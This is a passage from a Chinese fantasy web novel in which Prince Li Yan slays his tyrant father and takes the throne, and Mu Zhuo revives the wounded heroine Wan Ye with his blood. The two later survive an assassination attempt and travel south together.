一种荒谬的、属于帝王掌控欲的错觉,混合着丹药带来的虚幻力量感,再次攫住了他。仿佛经此一役,所有不听话的、碍事的刺头都被拔除了,朝堂将重归“清明”,而他,将凭借“仙丹”延寿,永掌权柄。
他竟清了清嗓子,脸上努力挤出一丝属于帝王的、试图重新掌控一切的威严,对着李琰、慕酌等人,用一种刻意拔高的、混合着施恩与警告的语调高声道:
“好!乱臣贼子,魑魅魍魉,已然伏诛!尔等护驾有功,朕心甚慰,自有重赏!从今往后,尔等当更尽心竭力,恭顺于朕,辅佐朕开创万世太平!这天下,仍是朕的天下!长生大道……哼,朕必能求得!”
他沉浸在这虚妄的臆想和权力的回光返照中,仿佛刚才的狼狈逃窜、歇斯底里从未发生,仿佛脚下这片血泊只是无关紧要的装饰。
李琰静静地看着他。看着他脸上那虚伪的、强行堆砌的威严;听着他口中毫无愧意、甚至带着得意洋洋的“恭顺”、“朕的天下”、“长生”。
最后一丝名为“父子”的、微弱如风中残烛的牵连,就在这荒谬的一幕中,“噗”地一声,彻底熄灭,化为冰冷的灰烬。
母妃宫中冲天而起的火光,仿佛又在眼前燃烧,灼痛他的灵魂;这些年百姓的哭嚎与怒骂,在耳畔轰然回荡;福海公公枯槁的手,临终前浑浊却清亮的眼神;自己如履薄冰、隐姓埋名、尝遍世情冷暖的流离……
所有的画面、声音、痛苦、怨恨,最终汇成一股焚心蚀骨、足以淹没一切的洪流。
他提着那柄仍在缓缓滴落血珠的长剑,一步,一步,走向那个身着龙袍、自以为是的男人。
脚步踏在粘稠的血泊和破碎的器物上,发出沉闷而清晰的声响,仿佛命运的鼓点。他的声音不高,却冰冷得如同九幽最深处刮起的寒风,在这死寂的大殿中一字一句,清晰无比地回荡:
“恭顺于你?辅佐你?开创万世太平?”
他在皇帝面前数步处停下,抬起眼,四目相对。那目光里,再无半点犹豫、敬畏,甚至没有了激烈的恨,只剩下一种彻底的、冰冷的、看穿一切的鄙夷与决绝。
“你配吗?”
三个字,轻飘飘,却重如千钧。
皇帝被他眼中那毫不掩饰的杀意与鄙夷刺得一哆嗦,下意识后退了半步,旋即感到无比的羞辱,色厉内荏地尖声喝道:
“逆子!你想干什么?!朕是你父皇!是九五之尊,是真龙天子!你安敢如此无礼!”
“父皇?天子?”李琰忽然扯动嘴角,露出了一个极淡的笑容,那笑容里没有温度,只有无尽的悲凉与嘲讽,比嚎啕大哭更令人心头发冷,
“一个弑杀发妻、屠戮亲子、为求所谓长生不惜戕害忠良、将万里江山与兆亿黎民视为玩物与祭品的……畜生,也配称父皇?也配为天子?!”
“你——!!!”皇帝气得浑身剧烈颤抖,脸皮紫涨,恐惧和暴怒让他几乎失语,只能嘶声力竭地对着周围侍卫大喊:“你们都聋了吗?!来人!护驾!给朕拿下这个丧心病狂的逆子!就地正法!”
然而,周围的侍卫,却陷入了诡异的沉默和迟疑。他们手中的刀剑垂下,脚步微挪,眼神躲闪。
方才殿内殿外的一切,他们亲眼目睹,亲耳所闻。这位“十三皇子”展现出的狠厉与隐忍,这位“陛下”暴露出的自私、冷酷与无能,还有那些骇人听闻的指控……忠诚的天平,在血与火的洗礼和赤裸裸的真相面前,发生了不可逆转的倾斜。
李琰不再多言。所有的语言,在这一刻都已苍白。
他猛地踏前一步,脚下血花微溅。手中那柄饮饱了仇敌之血的长剑,挟带着母妃二十年不熄的冤火、白家百余口凝固的悲愤、自己骨血中每一寸的痛楚,化作一道凝聚了毕生武功与意志的、决绝而无回的寒光,撕裂空气,直刺皇帝心口!
“不——!!!朕是皇帝!朕要长生!!!”
皇帝发出绝望的、不甘的、夹杂着对权力和生命无比贪婪的凄厉嘶吼,眼中充满了难以置信的恐惧和疯狂。
他徒劳地挥舞手臂,妄图躲避或格挡,但那被酒色掏空、又被丹药虚火短暂支撑的衰老身躯,如何快得过李琰这凝聚了二十年血泪的一剑?
“噗嗤!”
利刃穿透锦绣龙袍,刺破皮肤,切断肋骨,深深没入血肉的沉闷声响,清晰地在死寂的大殿中回荡开来
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。
皇帝的动作陡然僵住。他艰难地、一点点低下头,看着那截从自己胸前透出的、染血的、冰冷剑锋,又缓缓抬起眼,死死瞪向近在咫尺的李琰。
那双眼中燃烧的,是足以焚尽九重宫阙的复仇火焰。
他张了张嘴,似乎想发出最后的诅咒,或是求饶,但涌出的只有大股大股带着泡沫的、滚烫的鲜血。眼中的光芒。
那混合着无尽贪婪、刻骨恐惧、癫狂不甘与最终难以置信的复杂光芒——迅速黯淡、涣散。他伸向虚空、试图抓住什么的手无力垂下,身穿龙袍的身体,带着帝王的最后一点分量,缓缓向后,软倒在冰冷而污秽的金砖地上。
北国一代帝王,机关算尽,求长生而不得,最终,死于亲生儿子剑下,弑父,亦弑君。
满殿死寂。空气仿佛凝固了。所有还站着的人——侍卫、太监、零星几位未及退走的大臣,乃至瘫在地上、意识模糊的李胜——都骇然失声,目光凝固在那倒下的龙袍身躯和持剑傲立的染血身影上,无法思考。
李琰手腕一震,猛地将长剑抽出,带出一蓬凄艳的血雨,溅落在他的衣袍和面颊上,温热而粘腻。他看也未看脚下那具迅速失去温度的尸体,缓缓转过身。
染血的长剑斜指地面,血珠顺着剑尖缓缓滴落,在寂静中发出“嗒…嗒…”的轻响。
他抬起眼,目光如同经过淬炼的寒铁,扫过殿中每一张或惊恐、或茫然、或复杂的面孔,声音不高,却带着不容置疑的铁血威严,以及一种改天换地的决绝,清晰传递到每个角落:
“暴君已伏诛!其罪滔天,人神共愤!本王,先帝十三子李琰,今日于此,清君侧,靖国难,正朝纲!有不服者,”他顿了顿,剑尖微抬,寒光凛冽,“视同逆党,格杀勿论!”
目光如电,所及之处,空气为之肃杀。
短暂的死寂后,“哐当”一声,一名机灵的侍卫率先扔下兵器,跪倒在地,以头触地,颤声高呼:“殿下英明!卑职愿效死力!”仿佛堤坝决口,越来越多的人反应过来,无论是出于恐惧、审时度势,还是对旧君的彻底失望,纷纷跪倒,参差不齐却逐渐汇聚成流的声音响起:“臣等奉殿下主!恭请殿下主持大局!”
李琰知道,这跪倒的一片,并非全然归心。弑君夺位,无论有多少冠冕堂皇的理由,都必将引来无数暗流汹涌的非议、反扑与后续风波。脚下的路,依然布满荆棘与鲜血。
但他无所畏惧。二十年隐忍,步步为营,无数个日夜的煎熬与谋划,等的就是这一刻。血已染手,便再无回头路,亦无需回头。
就在李琰以铁血手腕初步震慑住朝堂,开始接管这混乱而血腥的残局。
96. 血吻
太和殿内,李琰以铁血手段初步稳定局势,下令封锁消息、清洗叛逆、安抚大臣,忙得不可开交。慕酌协助处理了一些军务和防务后,心中始终被不安萦绕——校尉,不,萧咏歌不见了。
凭借对皇宫地形的熟悉和一种难以言喻的直觉,慕酌避开仍在进行零星清扫的侍卫,朝着阴气最重的方向寻去。越走越心惊,那股令人不适的阴冷邪气似乎消散了许多……
当他终于找到那座破败殿宇,踏入其中时,映入眼帘的便是宛楪倒在地上的身影。她衣衫多处破损,血迹斑斑,脸色白得透明,气息微弱得几乎难以察觉。
慕酌心头猛地一沉,瞬间掠至她身边,小心翼翼地探查她的状况。
宛楪意识沉入黑暗深渊。与影妖的死斗耗尽了她所有灵力和心神,燃烧本源施展“青莲寂灭印”的反噬更如千万根钢针扎刺着神魂。
她知道自己赢了,但她也付出了惨痛代价——经脉枯竭,丹田受损,心口残留着一缕极阴邪气如跗骨之蛆,正一寸寸冻结她的生机。
好冷……好渴……
昏迷中,某种源于生命本能的、最原始的渴望在沸腾。她的“真身”在哀鸣,那被强行撕裂、寄存在他处的部分本源正发出焦灼的呼唤。
她需要……需要补全,需要滋养,需要……
血。
温热的、蕴含着熟悉气息的血。
就在这时,一阵急促的脚步声由远及近。
昏迷中的宛楪,身体忽然极其轻微地抽搐了一下。
并非清醒,而是某种深植于血脉本能的、对生存的极致渴求被触动了!
她模糊地感知到了一股极其熟悉的、温暖的气息靠近,那气息与她灵魂深处某个缺失的印记隐隐共鸣……是他……那个一直带着她部分本源温养的人……
慕酌正欲扶起她查看伤势,猝不及防间,宛楪竟猛地抬起了头!她的双眼依然紧闭,脸色惨白得吓人,完全是凭借本能行动!动作快得慕酌根本来不及反应!
下一瞬,她冰凉柔软却带着惊人力道的唇,狠狠贴上了慕酌的脖子!
“唔!”慕酌浑身一僵,瞳孔骤缩,大脑在瞬间一片空白。他完全没料到会是这种情况!
……她在做什么?!
未等他有所反应,脖子上传来一阵尖锐的刺痛!宛楪竟用牙齿狠狠咬破了他的脖子!
不是亲吻,而是近乎野兽般的撕咬,带着一种绝望的、贪婪的渴求!
温热的血液从伤口渗出,宛楪如饥似渴地吮吸起来,喉间发出细微的、满足又痛苦的呜咽。那血液中蕴含的一丝极其精纯、与她本源同源的气息,如同甘霖洒入龟裂的土地,疯狂滋养着她枯竭的经脉和濒临溃散的神魂。
她贪婪地索取着,仿佛这是唯一能让她活下去的东西。
慕酌被这突如其来的状况惊到,下意识用力将她推开。宛楪被推开后,身体晃了晃,却又凭着本能再次扑向他,这次她的唇撞上了慕酌的嘴唇,紧接着牙齿狠狠撕咬下去。
“嘶!”慕酌疼得倒吸一口凉气,嘴唇再次传来刺痛,温热的血液瞬间染红了两人的唇齿。宛楪依旧如饥似渴地吮吸着,慕酌僵在原地。
震惊、心疼、担忧……种种情绪混杂,
他第一反应是想轻轻推开她,查看她的伤势,用更稳妥的方式救治。
然而,他刚微微后仰想要脱离,昏迷中的宛楪仿佛感受到了“生机”要离去,竟发出一声近乎呜咽的抗拒,双手无意识地死死攥住了他胸前的衣襟,咬着他下唇的力道更重了几分,吮吸得更急,仿佛溺水之人抓住最后一根浮木,死也不肯放手。
慕酌不敢用力挣脱,怕伤到她。
他能清晰感觉到自己心脏处正在微微发烫,一丝丝清凉温润的暖流正顺着血脉流向唇边,又被宛楪急切地吸走。
她的脸色似乎以肉眼可见的速度恢复了一丁点极其微弱的血色,虽然依旧苍白,但那股灰败的死气淡去了些许。
他就这样僵持着,任由她咬着、吸着,复杂的目光落在她紧闭的眼睫和苍白脆弱的脸上。时间仿佛静止,只有她微弱而急促的吮吸声,和自己心脏处青玉越来越明显的温热感。
不知过了多久,也许只是片刻,宛楪吮吸的力道渐渐弱了下去。
她似乎汲取到了足够暂时稳住生机的“养分”,紧绷的身体一松,攥着他衣襟的手无力滑落,咬着他唇的牙齿也缓缓松开。
脑袋一歪,彻底陷入了更深、更沉的无意识昏迷中,只是呼吸比刚才稍微平稳了一丝丝,虽然依旧微弱,但不再是那种即刻就要断绝的感觉。
慕酌这才得以轻轻分开,下唇伤口火辣辣地疼,渗着血珠,脖子上的伤口也在隐隐作痛。他顾不上自己,连忙小心地将宛楪放平,再次探查她的状况。脉象依旧虚弱紊乱,体内伤势沉重,那缕阴邪之气也未完全驱散,但最危险的生机崩溃之势确实被遏止了。
他长长地、无声地吐出一口气,抬手抹去唇边和脖子上的血迹,眼神复杂地看了昏迷的宛楪一眼。来不及细想这其中缘由,当务之急是带她离开这个可能还有危险的地方,妥善安置疗伤。
他迅速扫视四周,发现殿宇深处有一道隐蔽的暗门。小心抱起宛楪,慕酌闪身进入暗门后的石室,反手关上。这里相对安全隐蔽。
将宛楪轻轻安置在石室角落一张残破的旧榻上,慕酌撕下干净的衣襟,先简单包扎了自己下唇和脖子上的伤口,然后盘膝坐在她身边。
他不敢再轻易尝试其他方法,只是持续将自身温和的内力,以最不易引起排斥的方式,缓缓渡入她体内几条主经脉,小心翼翼地护住那缕刚刚稳住的微弱生机。
幽暗石室内,尘埃浮动。
慕酌守着昏迷不醒的宛楪,眉头紧锁,眼中除了焦虑与疲惫,更添了一抹深沉的困惑与难以言喻的悸动。
刚才那突如其来的“咬颈”与“吻血”,那源自她灵魂深处的本能渴求,以及自己心脏的奇异反应……
这一切,都指向一个他早有猜测却从未证实的秘密。然而此刻,这些都不重要,重要的是她活下来。
又或许更久。宛楪在一种沉重的、仿佛被碾碎又勉强拼凑起来的痛楚中,艰难地掀开了眼皮。
映入眼帘的是粗糙的石室顶棚,缝隙间透下几缕惨淡的晨光。
她躺在一张破旧但还算干净的软榻上,身上盖着一件带着熟悉冷冽气息的外袍。
身体像
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是被抽空了所有力气,连转动脖颈都感到无比吃力,心口处依旧残留着阴冷的隐痛,但那股濒死的冰寒和灵魂撕裂感已经消退,取而代之的是一种极度的虚弱和空乏。
她挣扎着想要坐起,轻微的响动立刻惊醒了守在榻边的人。
慕酌几乎立刻睁开了眼,眼中带着未褪的疲惫与浓浓的关切。“别动。”
他声音有些沙哑,俯身轻轻按住她的肩膀,“你伤势很重,需要静养。”
她隐约记得最后的画面——影妖湮灭的白光,自己倒下的无力,以及……唇齿间骤然涌上的、温热咸腥的液体,和那股将她从无尽黑暗深渊中强行拉回一丝的、源自灵魂深处的熟悉悸动与滋养。
是……他的血?
这个认知让她心尖微微一颤,复杂的情绪交织——感激?羞赧?困惑?还有一丝难以言喻的、对自身本能反应的茫然。
宛楪看到他下唇上已经结痂却依旧明显的伤口,还有脖子上包扎着的布条,布条边缘渗着淡淡的血迹,“你……怎么有血?”
她声音干涩虚弱,带着几分好奇。
慕酌无奈地看着她,“你不记得了吗?”
宛楪一脸茫然,“记得什么?怎么回事?”
她看着慕酌狼狈的样子,头发有些凌乱,衣衫也沾染了血迹,下唇和脖子上的伤口让他看起来颇为狼狈。
慕酌没好气地回她,“我被狗啃了。”
“你!”宛楪皱眉,却没有多说。
宛楪苍白的脸上掠过一丝极不自然的红晕,迅速移开了视线。
“我……昏迷了多久?”她声音干涩虚弱。
“不到一日。”慕酌转身从旁边取过水囊,小心地扶起她,喂她喝了几口温水,“外面局势已被李琰初步掌控,皇帝……已伏诛。你做了什么,怎么把自己搞成这样?”
宛楪默默听着,温水润过喉咙,稍稍恢复了些精神。她试着运转体内微乎其微的灵力,发现虽然经脉受损、灵力枯竭,但根基未毁,那股阴邪死气也被慕酌的血和后续内力暂时压制住了,正在缓慢地被自身微弱的生机与残留的净化之力消磨。
休养一段时间,应能恢复。
“没什么,碰到了瓷傀,和他们打了一仗。”
“还有,多谢。”她低声道,目光落在自己染血破损的衣裙上,又看了看慕酌同样带着狼狈和疲惫却依旧挺直的身影。
慕酌摇了摇头,没有多说,只道:“你能醒来便好。十三殿下那边……似乎还有事寻你。”
宛楪点了点头。她知道自己该走了。此间事了,她的承诺已完成,身份也几近暴露,北国是非之地,不宜久留。
在慕酌的搀扶下,她勉强起身,换了身干净的素色衣裙,简单梳洗,掩去太过憔悴的脸色。
慕酌看着宛楪,没有告诉她,瓷傀是用大皇子的血提取做成的,不然就会变成一片废掉的陶瓷。
大皇子醒了,原来的瓷傀没有母体,早就变成废墟。
外面天色大亮,但皇宫依旧笼罩在一种劫后余生的压抑与忙碌中。血迹被清洗,尸体被移走,但空气中弥漫的淡淡血腥和焦糊气,以及宫人们惊魂未定、行色匆匆的模样,无不昭示着昨夜的惨烈。
97. 辞别
李琰,十三皇子并未在太和殿,而是在一处较为偏僻、已被清理出来的宫室中临时处理事务。
他眼中带着血丝,但精神却有一种压抑不住的锐利与亢奋,那是权力更迭初期特有的状态。见到宛楪在慕酌陪同下走来,他眼中掠过一丝复杂的情绪,有感激,也有审视。
“神女醒了?身体可还好?”
李琰放下手中的卷宗,语气比往日多了几分客气与郑重。他知道,这宫里有一个怪物,可是神女去过,居然寻不到痕迹。
“劳殿下挂心,已无大碍。”宛楪微微颔首,声音平静,“殿下既已掌控局面,民女此间之事已了,特来向殿下辞行。”
李琰似乎并不意外,他沉吟片刻,道:“此番能拨乱反正,神女与慕商居功至伟。姑娘要走,本王不敢强留。只是……”
他顿了顿,目光变得认真起来,“本王记得承诺。姑娘曾托付的那个孩子,可将画像留下,本王必令人暗中寻访,妥善照拂,绝不食言。”
宛楪眼中泛起一丝波澜。她取出早已准备好的炭笔和素纸,靠着记忆,细致地勾勒出一个约莫五六岁男童的轮廓。孩子眉眼清秀,带着一种不属于这个年龄的安静与隐忍,正是她当年救下的那位官家小姐托付的幼弟。
“就是他。有劳殿下。”宛楪将画纸轻轻推过去。
李琰接过,仔细看了看,郑重收起:“姑娘放心,画像本王会妥善保管,秘密寻访。只要这孩子还在北国境内,本王必会找到他,保他平安长大。”
宛楪轻轻舒了口气,仿佛卸下了一副重担。她望着窗外依旧显得有些灰蒙蒙的天空,低声感慨:“北国这些妖邪之术,实在令人心惊。以生魂炼药,以人命填欲壑……但愿此番之后,能还此地一片清净。”
李琰连忙附和:“姑娘所言极是。此等邪术,祸国殃民,本王既掌权柄,定会严加清剿,绝不容其死灰复燃!”他这话半是真心,半是表态。
宛楪点了点头,又沉默了片刻。她像是想起了什么,又从袖中取出另一张稍旧的纸,上面是另一个孩子的画像,笔触略显稚嫩,显然是很久以前所画。
画中的孩子更小一些,约莫三四岁,圆脸大眼,笑容天真,但仔细看,五官轮廓似乎有些过于“标准”,少了点孩童特有的鲜活气。
“这个孩子……”宛楪的声音里带上了一丝罕见的惆怅与迷茫,“我找了十多年,走遍许多地方,却始终没有确切消息。若殿下方便,也请……代为留意一二。”她将这第二张画像也递了过去。
李琰接过,凝神细看。他如今眼界已非昔日可比,又经历过宫廷种种阴谋诡谲,观察力极为敏锐。
看了片刻,他眉头微微蹙起,迟疑道:“请恕本王直言。这画像上的孩子……观其骨相轮廓,似乎不似五六岁稚童,倒像是……年纪更大些的孩童,甚至少年,刻意缩画成了幼态。”
他指着画像的某些线条:“你看此处,眼眶的弧度,下颌的隐约走势……若是年幼孩子,不应如此。而且这面容,过于……周正了,像是照着某种标准绘制的。本王曾听闻江湖中有种粗浅的易容术,或是某些旁门手段,可以让人在短期内改变些许样貌,尤其是孩童,五官未定,稍作修饰,便可与原本模样有异。或许……姑娘寻访多年未果,是因为这孩子被人施了类似手段,改变了容貌?”
宛楪闻言,心头猛地一震!她接过画像,再次仔细端详。
多年来寻而不得的焦灼与疑惑,此刻被李琰这番话骤然点醒!
是啊,她一直以为孩子走失时年纪小,模样变化不会太大,却从未深想过是否有人故意遮掩!如果是易容……那范围就太大了,难度也倍增。
她下意识地抬头,目光掠过站在一旁沉默不语的慕酌。
慕酌也正看着那画像,眼神复杂,接触到她的目光时,微微一怔,随即移开,但那一闪而过的细微情绪并未逃过宛楪的眼睛。
一个荒谬的、连她自己都不敢深想的念头,如同投入死水中的石子,骤然在她心中荡开一圈涟漪。
他第一次见就要杀了自己,说自己的脸,但是自己没有见过他……
可能吗?会是他吗?不……年龄对不上,经历也对不上……而且,他若是,为何从不言明?无数疑问翻涌。
她看着慕酌,慕酌却已恢复平静,只是垂眸而立。
宛楪压下心头惊涛,强迫自己冷静下来。
她再次看向李琰,声音已恢复平稳:“殿下洞察入微,此事……便也拜托殿下费心。无论是否易容,但凡有一丝线索,都请告知。”她将那份疑虑深深埋藏。
李琰点头应下:“姑娘放心,本王记下了。这两幅画像,本王都会命可靠之人暗中查访。”
正事交代完毕,气氛略显微妙。李琰看了看宛楪,又看了看慕酌,忽然道:“二位此番助本王良多,本王亦非忘恩负义之人。在此,本王可向二位承诺,至少五十年内,只要本王尚在北国掌权一日,绝不会主动向南国兴兵启衅,边关可暂保安宁。”
这是一个分量极重的承诺,既是报答,也是政治上的表态。慕酌闻言,郑重抱拳:“殿下高义,慕某代南国边军百姓,谢过殿下。”
宛楪亦微微欠身。
辞行已毕,宛楪不再停留,与慕酌一同离开了这间临时宫室。两人并肩走在依旧肃杀的宫道上,一时无话。昨夜的血火、清晨的托付、那未解的画像之谜,像无形的丝线缠绕在彼此之间。
当夜,宛楪与慕酌宿在皇宫外一处较为安静的驿馆。李琰已下令厚待,无人打扰。宛楪调息了半日,伤势稳定了些,但灵力恢复缓慢,身体依旧虚弱。
夜色渐深,驿馆内外一片寂静。宛楪心绪难平,明日便要真正离开北国,与慕酌……或许也将分道扬镳。那些未说破的隐秘,那些莫名的牵绊,让她无法安然入睡。她起身,走出房门,想去寻慕酌再谈一谈——哪怕只是道个别。
慕酌的房间在走廊另一端,烛火还亮着。宛楪走近,正欲抬手敲门,却敏锐地听到里面传来极其压抑的、并非一人的呼吸声,以及一种冰冷紧绷的气氛!
她心头一凛,指尖凝起一丝微不可察的灵觉附上门扉。里面的对话,断断续续传入耳中,声音刻意压低,却带着熟悉的、令她心悸的肃杀之气!
“……主子已经等不及了!命你速归!北国之事已了,你还滞留在此作甚?”一个嘶哑阴沉的声音。
“……”是慕酌沉默的呼吸。
“别忘了你的身份!也别忘了,‘那位’的手段!拖延的后果,你承担不起!”另一个声音威胁道。
“……我会回去。但需些时日。”慕酌的声音终于响起,比平日更低沉,带着一种压抑的疲惫与……无奈?
“时日?哼,我看你是被那个来路不明的女人迷了心窍!”
第一个声音冷笑,语气陡然变得尖锐而充满探究,“她对你,就如此重要?你可知‘那位’最忌惮的,便是这等不明不白的牵扯!”
房间内的气息瞬间变得更加危险。
慕酌的声音陡然转冷:“我的事,与她无关。你们不必牵扯旁人。”
“无关?若真无关,你此刻便该与我们一同离去!”第三个声音响起,带着不耐,“既然你犹豫,那我们便替你‘清理’干净!杀了那女人,断了你的念想,你自然乖乖回去向主子请罪!现在,请殿下受死!”
话音未落,一股凌厉的杀气骤然迸发!
宛楪瞳孔骤缩!这些人是南国来的?慕酌口中“最大的主子”、“殿下”?他们要对慕酌不利,还要杀他灭口?
就在这电光石火之间,房门被一股气劲猛地震开!
宛楪没有丝
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毫犹豫,直接冲了进去。
慕酌原本与这些刺客周旋起来尚有余力,但看到宛楪冲进来,不知为何,竟故意露出破绽,让其中一名刺客的利刃刺中了自己。
宛楪见状心急如焚,强忍着身上的伤痛,迅速出手解决其他刺客。
然而,就在一名刺客瞅准机会,挥刀刺向宛楪之时,原本受伤的慕酌突然发难,以极快的速度将那名刺客斩杀。
解决完刺客,慕酌看着宛楪,眼中满是复杂情绪。
宛楪对这个局面有些诧异,但也没来得及多想。
慕酌喉结滚动了一下,避开她的目光,声音带着一种罕见的艰涩和……近乎示弱的低哑:“他们……是我在南国那边……不得不听命的人。我身份特殊,有必须完成的使命,也有……无法摆脱的枷锁。”
他抬起头,重新看向宛楪,眼中充满了复杂的情绪,有愧疚,有无奈,“该说抱歉的是我,把你卷进来了。”
慕酌声音带着自己没有察觉的抖动。
宛楪静静地听着,脸上并没有太多意外或恐惧。从她卷入这些是非开始,她便知道前路不会平坦。只是没想到,危险会以这种方式,来自慕酌的身后。
“所以呢?”她岔开话题,轻声问,“你现在打算怎么办?”
慕酌看着她平静的眼眸,心中那根紧绷的弦似乎松了一些,但另一种更深的焦虑涌上。他忽然上前一步,蹲在她面前,握住她未受伤的右手。他的手很凉,带着薄茧,微微颤抖。
“姐姐……”他低声唤道,这个称呼带着一种极其复杂的依赖与祈求,“我现在……无处可去了。南国回不去,北国也非久留之地。”
他抬起头,眼中是毫不掩饰的、近乎脆弱的恳求:“你……能不能别赶我走?让我跟着你,等到风头过去?我保证,不会给你添麻烦,我会尽力避开他们的追踪……”
这番话半真半假。他确实需要时间筹谋如何应对“那位”的追杀,也确实极度担忧宛楪的安危,怕她独自一人再遭毒手。但更深层的原因,是他不愿就此与她分别。
他无法想象失去她的可能。
宛楪对这个称呼属实不敢苟同,李琰叫得时候她没觉得,慕酌这么叫,真是让她起了一身鸡皮疙瘩。
再说,宛楪看着地上的尸体,开什么玩笑,她保护他?
“就几天也行,就最后一段路……”慕酌带着哭腔,像是被遗弃的小兽。
宛楪看着他眼中那份罕见的、近乎“卖惨”的依赖与恳切,心中五味杂陈。
那个孩子也是这么求着她,不要离开……
她知道慕酌身份不简单,背后牵扯着巨大的秘密和危险。
理智告诉她,此刻应该划清界限,独自离开才是上策。但看着他疲惫泛红的眼睛,想起这一路同行他或多或少的维护,那句拒绝的话,怎么也说不出口。
更重要的是,她心中还有太多疑问。关于他真正的身份,关于他心脏处与自己相关的真身,关于那幅画像……或许,同行一段,也能找到一些答案。
她沉默了很久,久到慕酌眼中的光芒渐渐黯淡下去,以为她要拒绝。
终于,她轻轻叹了一口气,声音依旧虚弱,却带着一种妥协的意味:“跟着我可以。但你要答应我,这一路上,若再遇到你那边的人,或任何危险,你必须先保全自己。”
慕酌眼中瞬间爆发出惊喜的光芒,他重重点头,握着她的手紧了紧:“我答应你!”
宛楪抽回手,别开脸,低声道:“我累了,想再休息一会儿。”
“好,你睡,我守着你。”慕酌立刻退开些许,却依旧坐在不远处,目光一瞬不瞬地落在她身上,仿佛生怕一眨眼,她就会消失。
山神庙外,暮色四合,风声呜咽。庙内,篝火噼啪作响,映照着两人各怀心事的面容。
98. 想办法留下你
暮色如墨般四合,凛冽的风声似呜咽的悲歌,裹挟着残雪,疯狂地扑打在那扇斑驳陆离的门板上。
残雪在门板上短暂停留,又被呼啸的风无情卷走,仿佛从未存在过。
篝火噼里啪啦地燃烧着,橙红色的光晕在两人的面颊上肆意跳动,宛如一群调皮的精灵,将他们各怀心事的身影在剥落的壁画上肆意拉长又缩短,恰似两尾在幽暗中孤独游弋的鱼,在岁月的长河里独自徘徊。
自那夜过后,紧绷多日的两人仿佛心有灵犀般达成了某种无言的默契。
他们不再匆忙赶路,而是任由马蹄悠悠,一路尽情领略北国的壮丽山川。时值寒冬,北国的山川更显雄浑风骨。
他们并辔缓行,走过皑皑雪山,马蹄踏碎冰凌,那清脆的声响犹如弦断,在寂静的山间回荡,仿佛是大自然奏响的独特乐章。
并肩穿越静谧森林时,松枝沉甸甸地压着积雪,偶尔有簌簌落下的洁白雪花,轻轻沾在彼此肩头,宛如天上来的精灵。他们谁也没有伸手拂去,仿佛这肩头的雪,是他们之间独有的秘密。
冰封的湖面,寒风凛冽似刀,割在脸上生疼。可两人却沉浸在劳作的乐趣中,忙得不亦乐乎。
慕酌挽起衣袖,挥动冰镐,每一次发力,臂膀上的肌肉线条紧绷,如同一座坚毅的山峰。
俊美的脸上露出笑,“我做的烤鱼很好吃,想尝尝吗?”
冰屑飞溅,落在他的眉睫上,瞬间化成一滴细碎的水光,宛如清晨荷叶上的露珠,折射出迷人的光芒。
宛楪点点头,“好。”
宛楪蹲在一旁,精心将鱼叉与鱼篓摆放得整整齐齐,她的指尖被冻得微红。
她专注地凝视着那渐渐加深的冰洞,眼神中透露出一丝期待。
冰层破开的刹那,幽蓝的湖水如幽泉般涌出,倒映着天光,也映照着她明亮的眼眸。就在那一瞬,她不经意间侧过脸,目光与他来不及收回的视线猝然交汇。
两人的眼神在空中短暂交织,时间仿佛在这一刻静止。
彼此都微微一怔,随即像是被什么惊到,各自慌乱地移开视线,只留下湖面的涟漪一圈圈缓缓荡远,仿佛在诉说着刚刚那一瞬间的悸动。
偶尔有鱼跃出水面,银鳞在夕照的余晖中闪烁出耀眼的光芒,宛如星辰坠落人间。他们便像纯真的孩子般,忍不住笑出声来。
一个急忙弯腰去捞,一个迅速捧篓来接,指尖不经意间在冰凉的鱼身轻轻擦过,那短暂的触碰,如同湖底涌动的暗流,看似无声无息,却在心底激起层层波澜,传递着一种难以言喻的暧昧与悸动。
如此悠然游荡了十余日。
不知不觉间,山势逐渐变得平缓,风里开始夹杂着潮湿的泥土气息,仿佛在轻声诉说着春天即将来临的消息。他们已然行至南国边境。
边境的小道上,荒草肆意蔓生,在风中摇曳生姿。远处的村落里炊烟袅袅升起,给这片略显荒芜的土地增添了一抹人间烟火气。
慕酌缓缓勒住马缰,转头望向身旁的宛楪。斜阳的余晖将她的侧影温柔地镀上一层浅金色的光晕,宛如一幅绝美的画卷。他喉结微微颤动,嘴唇动了动,半晌才吐出几个字,声音低得几乎被风声淹没:
“你……想不想见见那户人家?”
——那户在她顶替身份进宫时,让她逃进棺材的人家。
宛楪的面色瞬间一滞,眼底仿佛有一层薄冰迅速凝结。她缓缓偏过头,唇角紧紧抿起,形成一条冷峭的线条,流露出一丝戒备与警惕,冷冷道:“你突然提起这个做什么?”
慕酌见她这般反应,心头猛地一紧,像是生怕她误会,几乎是迫不及待地抢着说道:“我……我只是随口问问。”他停顿了一下,声音放得更轻柔,仿佛怕惊扰到枝头栖息的鸟儿,“没有别的意思。只是想到……南国这边,孤儿寡母的,难免会受人欺负。”
宛楪冷哼一声,目光如刀般射向慕酌,语气中带着一丝嘲讽与质问:“难不成南国也会像北国那样,到处充斥着邪术,还有吃人的将军?你就直说,到底有什么目的?”
话音落下,风仿佛也受到这紧张气氛的影响,骤然静止。
慕酌深吸一口气,迎着宛楪的目光,眼神坚定而温柔,没有丝毫躲闪:“你真的相信,那个孩子被带走,还能毫发无损?这里面或许另有隐情。”
宛楪缓缓垂下眼眸,长长的睫毛在眼睑上投下细碎的阴影,如同一片静谧的小树林。她沉默了许久,久到慕酌以为她不会再开口。
“他已选择了北国。”她的声音看似平静,却仿佛承载着千钧之重。
“有没有猫腻,都不重要了。我只……确认他平安。这与你又有何关系?”
四目相对,那一刻,风声重新开始流动,暮色也愈发深沉。
两人都没有再说话,然而,却有一种微妙的情感在这沉默中悄然落定,如同冰层下缓缓流淌的湖水,虽然暗流涌动,却又无比澄澈。
最终,宛楪轻轻一夹马腹,马蹄声清脆地响起,踏上了通往村落的土路。
慕酌嘴边带着一丝淡淡的笑意,她没有拒绝。
那户人家的模样让宛楪在柴扉前怔愣许久。
昔日破败不堪的矮墙如今已修葺得焕然一新,新抹的黄泥散发着淡淡的草茎清气,仿佛在诉说着生活的希望。
院中那棵老梨树也抽出了茸茸新芽,在薄暮的微光中泛着嫩生生的绿意,宛如生命的奇迹。檐下挂着的干辣椒串成了一道独特的帷幕,风轻轻吹过,它们便轻轻摇晃,仿佛在为这逐渐安稳的日子翩翩起舞。
慕酌静静地立在她身侧,目光始终停留在她微微怔愣的侧脸,仿佛想要从她的神情中读懂她的心思。他犹豫了一下,最终还是没能忍住,低声说道:
“是我留下的那些手下——让他们在此处励精图治。”
话尾不自觉地微微扬起,带着一丝期待,宛如一个渴望得到夸奖的少年。
